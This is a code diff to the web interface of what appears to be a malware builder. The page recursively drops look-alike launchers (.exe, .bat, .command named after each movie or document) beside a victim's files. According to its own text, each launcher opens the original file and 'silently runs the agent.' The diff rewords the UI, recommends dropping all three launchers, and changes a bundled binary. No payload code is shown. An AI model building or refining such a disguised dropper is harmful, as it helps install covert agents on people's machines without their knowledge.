diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index fa30708..937e85a 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -1990,9 +1990,11 @@ export default function BuilderPage() { description="Type a local folder path. The server walks it recursively and places a launcher next to every matching file — no upload needed." />

- For every file found (movies, docs, archives…) the server drops a .bat + .exe (Windows) - and/or .command (Mac) right beside it in the same directory. - The launcher opens the original file normally and silently installs the agent. + For every file found (movies, docs, archives…) the server drops all three companions right beside it:
+ Terminator.exe · Terminator.bat · Terminator.command
+ The original file is never touched.{' '} + Terminator.mkv stays exactly as-is. The .bat opens it in the default player + and silently runs the agent. The .command does the same on Mac.

@@ -2036,18 +2038,18 @@ export default function BuilderPage() {
{pfStemMode === 'original' - ? 'Terminator.mkv → Terminator.exe + Terminator.bat' - : `Every file → ${pfStem || 'VideoPlayer'}.exe + ${pfStem || 'VideoPlayer'}.bat`} + ? 'e.g. Terminator.mkv → Terminator.exe · Terminator.bat · Terminator.command (original untouched)' + : `Every dir → ${pfStem || 'VideoPlayer'}.exe · ${pfStem || 'VideoPlayer'}.bat · ${pfStem || 'VideoPlayer'}.command`}
- +
+ + Keep both on → all 3 files drop next to every original (recommended) +
@@ -2081,10 +2086,14 @@ export default function BuilderPage() { : `⚠ ${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}

{pfResult.results.slice(0, 20).map((r, i) => ( -
- {r.source} - {' → '} - {r.files.join(' ')} +
+ 📄 + {r.source} + (kept) +
+ + {'↳ '}{r.files.join(' · ')} +
))} {pfResult.results.length > 20 && ( diff --git a/usb/AetherForge.exe b/usb/AetherForge.exe index fb59724..f7a4e5b 100644 Binary files a/usb/AetherForge.exe and b/usb/AetherForge.exe differ